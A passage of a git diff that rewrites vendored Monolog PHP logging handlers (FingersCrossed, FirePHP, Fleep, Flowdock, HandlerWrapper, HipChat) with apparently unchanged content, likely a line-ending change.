- } - - /** - * Resets the state of the handler. Stops forwarding records to the wrapped handler. - */ - private function flushBuffer() - { - if (null !== $this->passthruLevel) { - $level = $this->passthruLevel; - $this->buffer = array_filter($this->buffer, function ($record) use ($level) { - return $record['level'] >= $level; - }); - if (count($this->buffer) > 0) { - $this->getHandler(end($this->buffer) ?: null)->handleBatch($this->buffer); - } - } - - $this->buffer = array(); - $this->buffering = true; - } - - /** - * Return the nested handler - * - * If the handler was provided as a factory callable, this will trigger the handler's instantiation. - * - * @return HandlerInterface - */ - public function getHandler(array $record = null) - { - if (!$this->handler instanceof HandlerInterface) { - $this->handler = call_user_func($this->handler, $record, $this); - if (!$this->handler instanceof HandlerInterface) { - throw new \RuntimeException("The factory callable should return a HandlerInterface"); - } - } - - return $this->handler; - } - - /** - * {@inheritdoc} - */ - public function setFormatter(FormatterInterface $formatter) - { - $this->getHandler()->setFormatter($formatter); - - return $this; - } - - /** - * {@inheritdoc} - */ - public function getFormatter() - { - return $this->getHandler()->getFormatter(); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Handler\FingersCrossed\ErrorLevelActivationStrategy; +use Monolog\Handler\FingersCrossed\ActivationStrategyInterface; +use Monolog\Logger; +use Monolog\ResettableInterface; +use Monolog\Formatter\FormatterInterface; + +/** + * Buffers all records until a certain level is reached + * + * The advantage of this approach is that you don't get any clutter in your log files. + * Only requests which actually trigger an error (or whatever your actionLevel is) will be + * in the logs, but they will contain all records, not only those above the level threshold. + * + * You can find the various activation strategies in the + * Monolog\Handler\FingersCrossed\ namespace. + * + * @author Jordi Boggiano + */ +class FingersCrossedHandler extends AbstractHandler +{ + protected $handler; + protected $activationStrategy; + protected $buffering = true; + protected $bufferSize; + protected $buffer = array(); + protected $stopBuffering; + protected $passthruLevel; + + /** + * @param callable|HandlerInterface $handler Handler or factory callable($record|null, $fingersCrossedHandler). + * @param int|ActivationStrategyInterface $activationStrategy Strategy which determines when this handler takes action + * @param int $bufferSize How many entries should be buffered at most, beyond that the oldest items are removed from the buffer. + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + * @param bool $stopBuffering Whether the handler should stop buffering after being triggered (default true) + * @param int $passthruLevel Minimum level to always flush to handler on close, even if strategy not triggered + */ + public function __construct($handler, $activationStrategy = null, $bufferSize = 0, $bubble = true, $stopBuffering = true, $passthruLevel = null) + { + if (null === $activationStrategy) { + $activationStrategy = new ErrorLevelActivationStrategy(Logger::WARNING); + } + + // convert simple int activationStrategy to an object + if (!$activationStrategy instanceof ActivationStrategyInterface) { + $activationStrategy = new ErrorLevelActivationStrategy($activationStrategy); + } + + $this->handler = $handler; + $this->activationStrategy = $activationStrategy; + $this->bufferSize = $bufferSize; + $this->bubble = $bubble; + $this->stopBuffering = $stopBuffering; + + if ($passthruLevel !== null) { + $this->passthruLevel = Logger::toMonologLevel($passthruLevel); + } + + if (!$this->handler instanceof HandlerInterface && !is_callable($this->handler)) { + throw new \RuntimeException("The given handler (".json_encode($this->handler).") is not a callable nor a Monolog\Handler\HandlerInterface object"); + } + } + + /** + * {@inheritdoc} + */ + public function isHandling(array $record) + { + return true; + } + + /** + * Manually activate this logger regardless of the activation strategy + */ + public function activate() + { + if ($this->stopBuffering) { + $this->buffering = false; + } + $this->getHandler(end($this->buffer) ?: null)->handleBatch($this->buffer); + $this->buffer = array(); + } + + /** + * {@inheritdoc} + */ + public function handle(array $record) + { + if ($this->processors) { + foreach ($this->processors as $processor) { + $record = call_user_func($processor, $record); + } + } + + if ($this->buffering) { + $this->buffer[] = $record; + if ($this->bufferSize > 0 && count($this->buffer) > $this->bufferSize) { + array_shift($this->buffer); + } + if ($this->activationStrategy->isHandlerActivated($record)) { + $this->activate(); + } + } else { + $this->getHandler($record)->handle($record); + } + + return false === $this->bubble; + } + + /** + * {@inheritdoc} + */ + public function close() + { + $this->flushBuffer(); + } + + public function reset() + { + $this->flushBuffer(); + + parent::reset(); + + if ($this->getHandler() instanceof ResettableInterface) { + $this->getHandler()->reset(); + } + } + + /** + * Clears the buffer without flushing any messages down to the wrapped handler. + * + * It also resets the handler to its initial buffering state. + */ + public function clear() + { + $this->buffer = array(); + $this->reset(); + } + + /** + * Resets the state of the handler. Stops forwarding records to the wrapped handler. + */ + private function flushBuffer() + { + if (null !== $this->passthruLevel) { + $level = $this->passthruLevel; + $this->buffer = array_filter($this->buffer, function ($record) use ($level) { + return $record['level'] >= $level; + }); + if (count($this->buffer) > 0) { + $this->getHandler(end($this->buffer) ?: null)->handleBatch($this->buffer); + } + } + + $this->buffer = array(); + $this->buffering = true; + } + + /** + * Return the nested handler + * + * If the handler was provided as a factory callable, this will trigger the handler's instantiation. + * + * @return HandlerInterface + */ + public function getHandler(array $record = null) + { + if (!$this->handler instanceof HandlerInterface) { + $this->handler = call_user_func($this->handler, $record, $this); + if (!$this->handler instanceof HandlerInterface) { + throw new \RuntimeException("The factory callable should return a HandlerInterface"); + } + } + + return $this->handler; + } + + /** + * {@inheritdoc} + */ + public function setFormatter(FormatterInterface $formatter) + { + $this->getHandler()->setFormatter($formatter); + + return $this; + } + + /** + * {@inheritdoc} + */ + public function getFormatter() + { + return $this->getHandler()->getFormatter(); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/FirePHPHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/FirePHPHandler.php index e93dad3cd6..2a171bd820 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/FirePHPHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/FirePHPHandler.php @@ -1,195 +1,195 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Formatter\WildfireFormatter; - -/** - * Simple FirePHP Handler (http://www.firephp.org/), which uses the Wildfire protocol. - * - * @author Eric Clemmons (@ericclemmons) - */ -class FirePHPHandler extends AbstractProcessingHandler -{ - /** - * WildFire JSON header message format - */ - const PROTOCOL_URI = 'http://meta.wildfirehq.org/Protocol/JsonStream/0.2'; - - /** - * FirePHP structure for parsing messages & their presentation - */ - const STRUCTURE_URI = 'http://meta.firephp.org/Wildfire/Structure/FirePHP/FirebugConsole/0.1'; - - /** - * Must reference a "known" plugin, otherwise headers won't display in FirePHP - */ - const PLUGIN_URI = 'http://meta.firephp.org/Wildfire/Plugin/FirePHP/Library-FirePHPCore/0.3'; - - /** - * Header prefix for Wildfire to recognize & parse headers - */ - const HEADER_PREFIX = 'X-Wf'; - - /** - * Whether or not Wildfire vendor-specific headers have been generated & sent yet - */ - protected static $initialized = false; - - /** - * Shared static message index between potentially multiple handlers - * @var int - */ - protected static $messageIndex = 1; - - protected static $sendHeaders = true; - - /** - * Base header creation function used by init headers & record headers - * - * @param array $meta Wildfire Plugin, Protocol & Structure Indexes - * @param string $message Log message - * @return array Complete header string ready for the client as key and message as value - */ - protected function createHeader(array $meta, $message) - { - $header = sprintf('%s-%s', self::HEADER_PREFIX, join('-', $meta)); - - return array($header => $message); - } - - /** - * Creates message header from record - * - * @see createHeader() - * @param array $record - * @return array - */ - protected function createRecordHeader(array $record) - { - // Wildfire is extensible to support multiple protocols & plugins in a single request, - // but we're not taking advantage of that (yet), so we're using "1" for simplicity's sake. - return $this->createHeader( - array(1, 1, 1, self::$messageIndex++), - $record['formatted'] - ); - } - - /** - * {@inheritDoc} - */ - protected function getDefaultFormatter() - { - return new WildfireFormatter(); - } - - /** - * Wildfire initialization headers to enable message parsing - * - * @see createHeader() - * @see sendHeader() - * @return array - */ - protected function getInitHeaders() - { - // Initial payload consists of required headers for Wildfire - return array_merge( - $this->createHeader(array('Protocol', 1), self::PROTOCOL_URI), - $this->createHeader(array(1, 'Structure', 1), self::STRUCTURE_URI), - $this->createHeader(array(1, 'Plugin', 1), self::PLUGIN_URI) - ); - } - - /** - * Send header string to the client - * - * @param string $header - * @param string $content - */ - protected function sendHeader($header, $content) - { - if (!headers_sent() && self::$sendHeaders) { - header(sprintf('%s: %s', $header, $content)); - } - } - - /** - * Creates & sends header for a record, ensuring init headers have been sent prior - * - * @see sendHeader() - * @see sendInitHeaders() - * @param array $record - */ - protected function write(array $record) - { - if (!self::$sendHeaders) { - return; - } - - // WildFire-specific headers must be sent prior to any messages - if (!self::$initialized) { - self::$initialized = true; - - self::$sendHeaders = $this->headersAccepted(); - if (!self::$sendHeaders) { - return; - } - - foreach ($this->getInitHeaders() as $header => $content) { - $this->sendHeader($header, $content); - } - } - - $header = $this->createRecordHeader($record); - if (trim(current($header)) !== '') { - $this->sendHeader(key($header), current($header)); - } - } - - /** - * Verifies if the headers are accepted by the current user agent - * - * @return bool - */ - protected function headersAccepted() - { - if (!empty($_SERVER['HTTP_USER_AGENT']) && preg_match('{\bFirePHP/\d+\.\d+\b}', $_SERVER['HTTP_USER_AGENT'])) { - return true; - } - - return isset($_SERVER['HTTP_X_FIREPHP_VERSION']); - } - - /** - * BC getter for the sendHeaders property that has been made static - */ - public function __get($property) - { - if ('sendHeaders' !== $property) { - throw new \InvalidArgumentException('Undefined property '.$property); - } - - return static::$sendHeaders; - } - - /** - * BC setter for the sendHeaders property that has been made static - */ - public function __set($property, $value) - { - if ('sendHeaders' !== $property) { - throw new \InvalidArgumentException('Undefined property '.$property); - } - - static::$sendHeaders = $value; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Formatter\WildfireFormatter; + +/** + * Simple FirePHP Handler (http://www.firephp.org/), which uses the Wildfire protocol. + * + * @author Eric Clemmons (@ericclemmons) + */ +class FirePHPHandler extends AbstractProcessingHandler +{ + /** + * WildFire JSON header message format + */ + const PROTOCOL_URI = 'http://meta.wildfirehq.org/Protocol/JsonStream/0.2'; + + /** + * FirePHP structure for parsing messages & their presentation + */ + const STRUCTURE_URI = 'http://meta.firephp.org/Wildfire/Structure/FirePHP/FirebugConsole/0.1'; + + /** + * Must reference a "known" plugin, otherwise headers won't display in FirePHP + */ + const PLUGIN_URI = 'http://meta.firephp.org/Wildfire/Plugin/FirePHP/Library-FirePHPCore/0.3'; + + /** + * Header prefix for Wildfire to recognize & parse headers + */ + const HEADER_PREFIX = 'X-Wf'; + + /** + * Whether or not Wildfire vendor-specific headers have been generated & sent yet + */ + protected static $initialized = false; + + /** + * Shared static message index between potentially multiple handlers + * @var int + */ + protected static $messageIndex = 1; + + protected static $sendHeaders = true; + + /** + * Base header creation function used by init headers & record headers + * + * @param array $meta Wildfire Plugin, Protocol & Structure Indexes + * @param string $message Log message + * @return array Complete header string ready for the client as key and message as value + */ + protected function createHeader(array $meta, $message) + { + $header = sprintf('%s-%s', self::HEADER_PREFIX, join('-', $meta)); + + return array($header => $message); + } + + /** + * Creates message header from record + * + * @see createHeader() + * @param array $record + * @return array + */ + protected function createRecordHeader(array $record) + { + // Wildfire is extensible to support multiple protocols & plugins in a single request, + // but we're not taking advantage of that (yet), so we're using "1" for simplicity's sake. + return $this->createHeader( + array(1, 1, 1, self::$messageIndex++), + $record['formatted'] + ); + } + + /** + * {@inheritDoc} + */ + protected function getDefaultFormatter() + { + return new WildfireFormatter(); + } + + /** + * Wildfire initialization headers to enable message parsing + * + * @see createHeader() + * @see sendHeader() + * @return array + */ + protected function getInitHeaders() + { + // Initial payload consists of required headers for Wildfire + return array_merge( + $this->createHeader(array('Protocol', 1), self::PROTOCOL_URI), + $this->createHeader(array(1, 'Structure', 1), self::STRUCTURE_URI), + $this->createHeader(array(1, 'Plugin', 1), self::PLUGIN_URI) + ); + } + + /** + * Send header string to the client + * + * @param string $header + * @param string $content + */ + protected function sendHeader($header, $content) + { + if (!headers_sent() && self::$sendHeaders) { + header(sprintf('%s: %s', $header, $content)); + } + } + + /** + * Creates & sends header for a record, ensuring init headers have been sent prior + * + * @see sendHeader() + * @see sendInitHeaders() + * @param array $record + */ + protected function write(array $record) + { + if (!self::$sendHeaders) { + return; + } + + // WildFire-specific headers must be sent prior to any messages + if (!self::$initialized) { + self::$initialized = true; + + self::$sendHeaders = $this->headersAccepted(); + if (!self::$sendHeaders) { + return; + } + + foreach ($this->getInitHeaders() as $header => $content) { + $this->sendHeader($header, $content); + } + } + + $header = $this->createRecordHeader($record); + if (trim(current($header)) !== '') { + $this->sendHeader(key($header), current($header)); + } + } + + /** + * Verifies if the headers are accepted by the current user agent + * + * @return bool + */ + protected function headersAccepted() + { + if (!empty($_SERVER['HTTP_USER_AGENT']) && preg_match('{\bFirePHP/\d+\.\d+\b}', $_SERVER['HTTP_USER_AGENT'])) { + return true; + } + + return isset($_SERVER['HTTP_X_FIREPHP_VERSION']); + } + + /** + * BC getter for the sendHeaders property that has been made static + */ + public function __get($property) + { + if ('sendHeaders' !== $property) { + throw new \InvalidArgumentException('Undefined property '.$property); + } + + return static::$sendHeaders; + } + + /** + * BC setter for the sendHeaders property that has been made static + */ + public function __set($property, $value) + { + if ('sendHeaders' !== $property) { + throw new \InvalidArgumentException('Undefined property '.$property); + } + + static::$sendHeaders = $value; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/FleepHookHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/FleepHookHandler.php index cd4892e8bd..c43c0134ff 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/FleepHookHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/FleepHookHandler.php @@ -1,126 +1,126 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Formatter\LineFormatter; -use Monolog\Logger; - -/** - * Sends logs to Fleep.io using Webhook integrations - * - * You'll need a Fleep.io account to use this handler. - * - * @see https://fleep.io/integrations/webhooks/ Fleep Webhooks Documentation - * @author Ando Roots - */ -class FleepHookHandler extends SocketHandler -{ - const FLEEP_HOST = 'fleep.io'; - - const FLEEP_HOOK_URI = '/hook/'; - - /** - * @var string Webhook token (specifies the conversation where logs are sent) - */ - protected $token; - - /** - * Construct a new Fleep.io Handler. - * - * For instructions on how to create a new web hook in your conversations - * see https://fleep.io/integrations/webhooks/ - * - * @param string $token Webhook token - * @param bool|int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - * @throws MissingExtensionException - */ - public function __construct($token, $level = Logger::DEBUG, $bubble = true) - { - if (!extension_loaded('openssl')) { - throw new MissingExtensionException('The OpenSSL PHP extension is required to use the FleepHookHandler'); - } - - $this->token = $token; - - $connectionString = 'ssl://' . self::FLEEP_HOST . ':443'; - parent::__construct($connectionString, $level, $bubble); - } - - /** - * Returns the default formatter to use with this handler - * - * Overloaded to remove empty context and extra arrays from the end of the log message. - * - * @return LineFormatter - */ - protected function getDefaultFormatter() - { - return new LineFormatter(null, null, true, true); - } - - /** - * Handles a log record - * - * @param array $record - */ - public function write(array $record) - { - parent::write($record); - $this->closeSocket(); - } - - /** - * {@inheritdoc} - * - * @param array $record - * @return string - */ - protected function generateDataStream($record) - { - $content = $this->buildContent($record); - - return $this->buildHeader($content) . $content; - } - - /** - * Builds the header of the API Call - * - * @param string $content - * @return string - */ - private function buildHeader($content) - { - $header = "POST " . self::FLEEP_HOOK_URI . $this->token . " HTTP/1.1\r\n"; - $header .= "Host: " . self::FLEEP_HOST . "\r\n"; - $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; - $header .= "Content-Length: " . strlen($content) . "\r\n"; - $header .= "\r\n"; - - return $header; - } - - /** - * Builds the body of API call - * - * @param array $record - * @return string - */ - private function buildContent($record) - { - $dataArray = array( - 'message' => $record['formatted'], - ); - - return http_build_query($dataArray); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Formatter\LineFormatter; +use Monolog\Logger; + +/** + * Sends logs to Fleep.io using Webhook integrations + * + * You'll need a Fleep.io account to use this handler. + * + * @see https://fleep.io/integrations/webhooks/ Fleep Webhooks Documentation + * @author Ando Roots + */ +class FleepHookHandler extends SocketHandler +{ + const FLEEP_HOST = 'fleep.io'; + + const FLEEP_HOOK_URI = '/hook/'; + + /** + * @var string Webhook token (specifies the conversation where logs are sent) + */ + protected $token; + + /** + * Construct a new Fleep.io Handler. + * + * For instructions on how to create a new web hook in your conversations + * see https://fleep.io/integrations/webhooks/ + * + * @param string $token Webhook token + * @param bool|int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + * @throws MissingExtensionException + */ + public function __construct($token, $level = Logger::DEBUG, $bubble = true) + { + if (!extension_loaded('openssl')) { + throw new MissingExtensionException('The OpenSSL PHP extension is required to use the FleepHookHandler'); + } + + $this->token = $token; + + $connectionString = 'ssl://' . self::FLEEP_HOST . ':443'; + parent::__construct($connectionString, $level, $bubble); + } + + /** + * Returns the default formatter to use with this handler + * + * Overloaded to remove empty context and extra arrays from the end of the log message. + * + * @return LineFormatter + */ + protected function getDefaultFormatter() + { + return new LineFormatter(null, null, true, true); + } + + /** + * Handles a log record + * + * @param array $record + */ + public function write(array $record) + { + parent::write($record); + $this->closeSocket(); + } + + /** + * {@inheritdoc} + * + * @param array $record + * @return string + */ + protected function generateDataStream($record) + { + $content = $this->buildContent($record); + + return $this->buildHeader($content) . $content; + } + + /** + * Builds the header of the API Call + * + * @param string $content + * @return string + */ + private function buildHeader($content) + { + $header = "POST " . self::FLEEP_HOOK_URI . $this->token . " HTTP/1.1\r\n"; + $header .= "Host: " . self::FLEEP_HOST . "\r\n"; + $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; + $header .= "Content-Length: " . strlen($content) . "\r\n"; + $header .= "\r\n"; + + return $header; + } + + /** + * Builds the body of API call + * + * @param array $record + * @return string + */ + private function buildContent($record) + { + $dataArray = array( + 'message' => $record['formatted'], + ); + + return http_build_query($dataArray); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/FlowdockHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/FlowdockHandler.php index c582863f98..f0f010cbfe 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/FlowdockHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/FlowdockHandler.php @@ -1,128 +1,128 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; -use Monolog\Utils; -use Monolog\Formatter\FlowdockFormatter; -use Monolog\Formatter\FormatterInterface; - -/** - * Sends notifications through the Flowdock push API - * - * This must be configured with a FlowdockFormatter instance via setFormatter() - * - * Notes: - * API token - Flowdock API token - * - * @author Dominik Liebler - * @see https://www.flowdock.com/api/push - */ -class FlowdockHandler extends SocketHandler -{ - /** - * @var string - */ - protected $apiToken; - - /** - * @param string $apiToken - * @param bool|int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - * - * @throws MissingExtensionException if OpenSSL is missing - */ - public function __construct($apiToken, $level = Logger::DEBUG, $bubble = true) - { - if (!extension_loaded('openssl')) { - throw new MissingExtensionException('The OpenSSL PHP extension is required to use the FlowdockHandler'); - } - - parent::__construct('ssl://api.flowdock.com:443', $level, $bubble); - $this->apiToken = $apiToken; - } - - /** - * {@inheritdoc} - */ - public function setFormatter(FormatterInterface $formatter) - { - if (!$formatter instanceof FlowdockFormatter) { - throw new \InvalidArgumentException('The FlowdockHandler requires an instance of Monolog\Formatter\FlowdockFormatter to function correctly'); - } - - return parent::setFormatter($formatter); - } - - /** - * Gets the default formatter. - * - * @return FormatterInterface - */ - protected function getDefaultFormatter() - { - throw new \InvalidArgumentException('The FlowdockHandler must be configured (via setFormatter) with an instance of Monolog\Formatter\FlowdockFormatter to function correctly'); - } - - /** - * {@inheritdoc} - * - * @param array $record - */ - protected function write(array $record) - { - parent::write($record); - - $this->closeSocket(); - } - - /** - * {@inheritdoc} - * - * @param array $record - * @return string - */ - protected function generateDataStream($record) - { - $content = $this->buildContent($record); - - return $this->buildHeader($content) . $content; - } - - /** - * Builds the body of API call - * - * @param array $record - * @return string - */ - private function buildContent($record) - { - return Utils::jsonEncode($record['formatted']['flowdock']); - } - - /** - * Builds the header of the API Call - * - * @param string $content - * @return string - */ - private function buildHeader($content) - { - $header = "POST /v1/messages/team_inbox/" . $this->apiToken . " HTTP/1.1\r\n"; - $header .= "Host: api.flowdock.com\r\n"; - $header .= "Content-Type: application/json\r\n"; - $header .= "Content-Length: " . strlen($content) . "\r\n"; - $header .= "\r\n"; - - return $header; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; +use Monolog\Utils; +use Monolog\Formatter\FlowdockFormatter; +use Monolog\Formatter\FormatterInterface; + +/** + * Sends notifications through the Flowdock push API + * + * This must be configured with a FlowdockFormatter instance via setFormatter() + * + * Notes: + * API token - Flowdock API token + * + * @author Dominik Liebler + * @see https://www.flowdock.com/api/push + */ +class FlowdockHandler extends SocketHandler +{ + /** + * @var string + */ + protected $apiToken; + + /** + * @param string $apiToken + * @param bool|int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + * + * @throws MissingExtensionException if OpenSSL is missing + */ + public function __construct($apiToken, $level = Logger::DEBUG, $bubble = true) + { + if (!extension_loaded('openssl')) { + throw new MissingExtensionException('The OpenSSL PHP extension is required to use the FlowdockHandler'); + } + + parent::__construct('ssl://api.flowdock.com:443', $level, $bubble); + $this->apiToken = $apiToken; + } + + /** + * {@inheritdoc} + */ + public function setFormatter(FormatterInterface $formatter) + { + if (!$formatter instanceof FlowdockFormatter) { + throw new \InvalidArgumentException('The FlowdockHandler requires an instance of Monolog\Formatter\FlowdockFormatter to function correctly'); + } + + return parent::setFormatter($formatter); + } + + /** + * Gets the default formatter. + * + * @return FormatterInterface + */ + protected function getDefaultFormatter() + { + throw new \InvalidArgumentException('The FlowdockHandler must be configured (via setFormatter) with an instance of Monolog\Formatter\FlowdockFormatter to function correctly'); + } + + /** + * {@inheritdoc} + * + * @param array $record + */ + protected function write(array $record) + { + parent::write($record); + + $this->closeSocket(); + } + + /** + * {@inheritdoc} + * + * @param array $record + * @return string + */ + protected function generateDataStream($record) + { + $content = $this->buildContent($record); + + return $this->buildHeader($content) . $content; + } + + /** + * Builds the body of API call + * + * @param array $record + * @return string + */ + private function buildContent($record) + { + return Utils::jsonEncode($record['formatted']['flowdock']); + } + + /** + * Builds the header of the API Call + * + * @param string $content + * @return string + */ + private function buildHeader($content) + { + $header = "POST /v1/messages/team_inbox/" . $this->apiToken . " HTTP/1.1\r\n"; + $header .= "Host: api.flowdock.com\r\n"; + $header .= "Content-Type: application/json\r\n"; + $header .= "Content-Length: " . strlen($content) . "\r\n"; + $header .= "\r\n"; + + return $header; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/HandlerWrapper.php b/vendor/monolog/monolog/src/Monolog/Handler/HandlerWrapper.php index 872b0a67ef..55e649868f 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/HandlerWrapper.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/HandlerWrapper.php @@ -1,116 +1,116 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\ResettableInterface; -use Monolog\Formatter\FormatterInterface; - -/** - * This simple wrapper class can be used to extend handlers functionality. - * - * Example: A custom filtering that can be applied to any handler. - * - * Inherit from this class and override handle() like this: - * - * public function handle(array $record) - * { - * if ($record meets certain conditions) { - * return false; - * } - * return $this->handler->handle($record); - * } - * - * @author Alexey Karapetov - */ -class HandlerWrapper implements HandlerInterface, ResettableInterface -{ - /** - * @var HandlerInterface - */ - protected $handler; - - /** - * HandlerWrapper constructor. - * @param HandlerInterface $handler - */ - public function __construct(HandlerInterface $handler) - { - $this->handler = $handler; - } - - /** - * {@inheritdoc} - */ - public function isHandling(array $record) - { - return $this->handler->isHandling($record); - } - - /** - * {@inheritdoc} - */ - public function handle(array $record) - { - return $this->handler->handle($record); - } - - /** - * {@inheritdoc} - */ - public function handleBatch(array $records) - { - return $this->handler->handleBatch($records); - } - - /** - * {@inheritdoc} - */ - public function pushProcessor($callback) - { - $this->handler->pushProcessor($callback); - - return $this; - } - - /** - * {@inheritdoc} - */ - public function popProcessor() - { - return $this->handler->popProcessor(); - } - - /** - * {@inheritdoc} - */ - public function setFormatter(FormatterInterface $formatter) - { - $this->handler->setFormatter($formatter); - - return $this; - } - - /** - * {@inheritdoc} - */ - public function getFormatter() - { - return $this->handler->getFormatter(); - } - - public function reset() - { - if ($this->handler instanceof ResettableInterface) { - return $this->handler->reset(); - } - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\ResettableInterface; +use Monolog\Formatter\FormatterInterface; + +/** + * This simple wrapper class can be used to extend handlers functionality. + * + * Example: A custom filtering that can be applied to any handler. + * + * Inherit from this class and override handle() like this: + * + * public function handle(array $record) + * { + * if ($record meets certain conditions) { + * return false; + * } + * return $this->handler->handle($record); + * } + * + * @author Alexey Karapetov + */ +class HandlerWrapper implements HandlerInterface, ResettableInterface +{ + /** + * @var HandlerInterface + */ + protected $handler; + + /** + * HandlerWrapper constructor. + * @param HandlerInterface $handler + */ + public function __construct(HandlerInterface $handler) + { + $this->handler = $handler; + } + + /** + * {@inheritdoc} + */ + public function isHandling(array $record) + { + return $this->handler->isHandling($record); + } + + /** + * {@inheritdoc} + */ + public function handle(array $record) + { + return $this->handler->handle($record); + } + + /** + * {@inheritdoc} + */ + public function handleBatch(array $records) + { + return $this->handler->handleBatch($records); + } + + /** + * {@inheritdoc} + */ + public function pushProcessor($callback) + { + $this->handler->pushProcessor($callback); + + return $this; + } + + /** + * {@inheritdoc} + */ + public function popProcessor() + { + return $this->handler->popProcessor(); + } + + /** + * {@inheritdoc} + */ + public function setFormatter(FormatterInterface $formatter) + { + $this->handler->setFormatter($formatter); + + return $this; + } + + /** + * {@inheritdoc} + */ + public function getFormatter() + { + return $this->handler->getFormatter(); + } + + public function reset() + { + if ($this->handler instanceof ResettableInterface) { + return $this->handler->reset(); + } + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/HipChatHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/HipChatHandler.php index 833327fff3..30258e36e4 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/HipChatHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/HipChatHandler.php @@ -1,367 +1,367 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; - -/** - * Sends notifications through the hipchat api to a hipchat room - * - * Notes: - * API token - HipChat API token - * Room - HipChat Room Id or name, where messages are sent - * Name - Name used to send the message (from) - * notify - Should the message trigger a notification in the clients - * version - The API version to use (HipChatHandler::API_V1 | HipChatHandler::API_V2) - * - * @author Rafael Dohms - * @see https://www.hipchat.com/docs/api - */ -class HipChatHandler extends SocketHandler -{ - /** - * Use API version 1 - */ - const API_V1 = 'v1'; - - /** - * Use API version v2 - */ - const API_V2 = 'v2'; - - /** - * The maximum allowed length for the name used in the "from" field. - */ - const MAXIMUM_NAME_LENGTH = 15; - - /** - * The maximum allowed length for the message. - */ - const MAXIMUM_MESSAGE_LENGTH = 9500; - - /** - * @var string - */ - private $token; - - /** - * @var string - */ - private $room; - - /** - * @var string - */ - private $name; - - /** - * @var bool - */ - private $notify; - - /** - * @var string - */ - private $format; - - /** - * @var string - */ - private $host; - - /** - * @var string - */ - private $version; - - /** - * @param string $token HipChat API Token - * @param string $room The room that should be alerted of the message (Id or Name) - * @param string $name Name used in the "from" field. - * @param bool $notify Trigger a notification in clients or not - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - * @param bool $useSSL Whether to connect via SSL. - * @param string $format The format of the messages (default to text, can be set to html if you have html in the messages) - * @param string $host The HipChat server hostname. - * @param string $version The HipChat API version (default HipChatHandler::API_V1) - */ - public function __construct($token, $room, $name = 'Monolog', $notify = false, $level = Logger::CRITICAL, $bubble = true, $useSSL = true, $format = 'text', $host = 'api.hipchat.com', $version = self::API_V1) - { - @trigger_error('The Monolog\Handler\HipChatHandler class is deprecated. You should migrate to Slack and the SlackWebhookHandler / SlackbotHandler, see https://www.atlassian.com/partnerships/slack', E_USER_DEPRECATED); - - if ($version == self::API_V1 && !$this->validateStringLength($name, static::MAXIMUM_NAME_LENGTH)) { - throw new \InvalidArgumentException('The supplied name is too long. HipChat\'s v1 API supports names up to 15 UTF-8 characters.'); - } - - $connectionString = $useSSL ? 'ssl://'.$host.':443' : $host.':80'; - parent::__construct($connectionString, $level, $bubble); - - $this->token = $token; - $this->name = $name; - $this->notify = $notify; - $this->room = $room; - $this->format = $format; - $this->host = $host; - $this->version = $version; - } - - /** - * {@inheritdoc} - * - * @param array $record - * @return string - */ - protected function generateDataStream($record) - { - $content = $this->buildContent($record); - - return $this->buildHeader($content) . $content; - } - - /** - * Builds the body of API call - * - * @param array $record - * @return string - */ - private function buildContent($record) - { - $dataArray = array( - 'notify' => $this->version == self::API_V1 ? - ($this->notify ? 1 : 0) : - ($this->notify ? 'true' : 'false'), - 'message' => $record['formatted'], - 'message_format' => $this->format, - 'color' => $this->getAlertColor($record['level']), - ); - - if (!$this->validateStringLength($dataArray['message'], static::MAXIMUM_MESSAGE_LENGTH)) { - if (function_exists('mb_substr')) { - $dataArray['message'] = mb_substr($dataArray['message'], 0, static::MAXIMUM_MESSAGE_LENGTH).' [truncated]'; - } else { - $dataArray['message'] = substr($dataArray['message'], 0, 